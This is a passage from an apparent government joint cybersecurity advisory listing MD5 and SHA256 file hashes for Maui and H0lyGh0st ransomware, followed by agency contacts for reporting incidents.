b6f91a965b8404d1a276e43e61319931 -- bdece9758bf34fcad9cba1394519019b 9d6de05f9a3e62044ad9ae66111308ccb9ed2ee46a3ea37d85afa92e314e7127 c3850f4cc12717c2b54753f8ca5d5e0e 99b448e91669b92c2cc3417a4d9711209509274dab5d7582baacfab5028a818c c50b839f2fc3ce5a385b9ae1c05def3a 458d258005f39d72ce47c111a7d17e8c52fe5fc7dd98575771640d9009385456 cf236bf5b41d26967b1ce04ebbdb4041 60425a4d5ee04c8ae09bfe28ca33bf9e76a43f69548b2704956d0875a0f25145 d0e203e8845bf282475a8f816340f2e8 f6375c5276d1178a2a0fe1a16c5668ce523e2f846c073bf75bb2558fdec06531 ddb1f970371fa32faae61fc5b8423d4b dda53eee2c5cb0abdbf5242f5e82f4de83898b6a9dd8aa935c2be29bafc9a469 f2f787868a3064407d79173ac5fc0864 92adc5ea29491d9245876ba0b2957393633c9998eb47b3ae1344c13a44cd59ae fda3a19afa85912f6dc8452675245d6b 56925a1f7d853d814f80e98a1c4890b0a6a84c83a8eded34c585c98b2df6ab19 -- 0054147db54544d77a9efd9baf5ec96a80b430e170d6e7c22fcf75261e9a3a71 -- 151ab3e05a23e9ccd03a6c49830dabb9e9281faf279c31ae40b13e6971dd2fb8 -- 1c926fb3bd99f4a586ed476e4683163892f3958581bf8c24235cd2a415513b7f -- 1f8dcfaebbcd7e71c2872e0ba2fc6db81d651cf654a21d33c78eae6662e62392 -- f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb -- 23eff00dde0ee27dabad28c1f4ffb8b09e876f1e1a77c1e6fb735ab517d79b76 -- 586f30907c3849c363145bfdcdabe3e2e4688cbd5688ff968e984b201b474730 -- 8ce219552e235dcaf1c694be122d6339ed4ff8df70bf358cd165e6eb487ccfc5 -- 90fb0cd574155fd8667d20f97ac464eca67bdb6a8ee64184159362d45d79b6a4 -- c2904dc8bbb569536c742fca0c51a766e836d0da8fac1c1abd99744e9b50164f -- ca932ccaa30955f2fffb1122234fb1524f7de3a8e0044de1ed4fe05cab8702a5 -- f6827dc5af661fbb4bf64bc625c78283ef836c6985bb2bfb836bd0c8d5397332 -- f78cabf7a0e7ed3ef2d1c976c1486281f56a6503354b87219b466f2f7a0b65c4 Table 3 lists MD5 and SHA256 hashes are associated with Maui Ransomware files. Table 3: File names and hashes of Maui ransomware files MD5 Hash SHA256 Hash 4118d9adce7350c3eedeb056a3335346 5b7ecf7e9d0715f1122baf4ce745c5fcd769dee48150616753fec4d6da16e99e 9b0e7c460a80f740d455a7521f0eada1 45d8ac1ac692d6bb0fe776620371fca02b60cac8db23c4cc7ab5df262da42b78 fda3a19afa85912f6dc8452675245d6b 56925a1f7d853d814f80e98a1c4890b0a6a84c83a8eded34c585c98b2df6ab19 2d02f5499d35a8dffb4c8bc0b7fec5c2 830207029d83fd46a4a89cd623103ba2321b866428aa04360376e6a390063570 c50b839f2fc3ce5a385b9ae1c05def3a 458d258005f39d72ce47c111a7d17e8c52fe5fc7dd98575771640d9009385456 a452a5f693036320b580d28ee55ae2a3 99b0056b7cc2e305d4ccb0ac0a8a270d3fceb21ef6fc2eb13521a930cea8bd9f a6e1efd70a077be032f052bb75544358 3b9fe1713f638f85f20ea56fd09d20a96cd6d288732b04b073248b56cdaef878 802e7d6e80d7a60e17f9ffbd62fcbbeb 87bdb1de1dd6b0b75879d8b8aef80b562ec4fad365d7abbc629bcfc1d386afa6 -- 0054147db54544d77a9efd9baf5ec96a80b430e170d6e7c22fcf75261e9a3a71 Table 4 lists MD5 and SHA256 hashes associated with H0lyGh0st Ransomware files. SHA256 Hash 99fc54786a72f32fd44c7391c2171ca31e72ca52725c68e2dde94d04c286fccd* F8fc2445a9814ca8cf48a979bff7f182d6538f4d1ff438cf259268e8b4b76f86* Bea866b327a2dc2aa104b7ad7307008919c06620771ec3715a059e675d9f40af* 6e20b73a6057f8ff75c49e1b7aef08abfcfe4e418e2c1307791036f081335c2d f4d10b08d7dacd8fe33a6b54a0416eecdaed92c69c933c4a5d3700b8f5100fad 541825cb652606c2ea12fd25a842a8b3456d025841c3a7f563655ef77bb67219 2d978df8df0cf33830aba16c6322198e5889c67d49b40b1cb1eb236bd366826d 414ed95d14964477bebf86dced0306714c497cde14dede67b0c1425ce451d3d7 Df0c7bb88e3c67d849d78d13cee30671b39b300e0cda5550280350775d5762d8 MD5 Hash a2c2099d503fcc29478205f5aef0283b 9c516e5b95a7e4169ecbd133ed4d205f d6a7b5db62bf7815a10a17cdf7ddbd4b c6949a99c60ef29d20ac8a9a3fb58ce5 4b20641c759ed563757cdd95c651ee53 25ee4001eb4e91f7ea0bc5d07f2a9744 18126be163eb7df2194bb902c359ba8e eaf6896b361121b2c315a35be837576d e4ee611533a28648a350f2dab85bb72a e268cb7ab778564e88d757db4152b9fa * from Microsoft blog post on h0lygh0st CONTACT INFORMATION NSA Client Requirements / General Cybersecurity Inquiries: CybersecurityReports@nsa.gov Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov To report incidents and anomalous activity related to information found in this Joint Cybersecurity Advisory, contact CISA’s 24/7 Operations Center at Report@cisa.gov or (888) 282-0870 or your local FBI field office at www.fbi.gov/contact-us/field. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. Media Inquiries / Press Desk: NSA Media Relations, 443-634-0721, MediaRelations@nsa.gov CISA Media Relations, 703-235-2010, CISAMedia@cisa.dhs.gov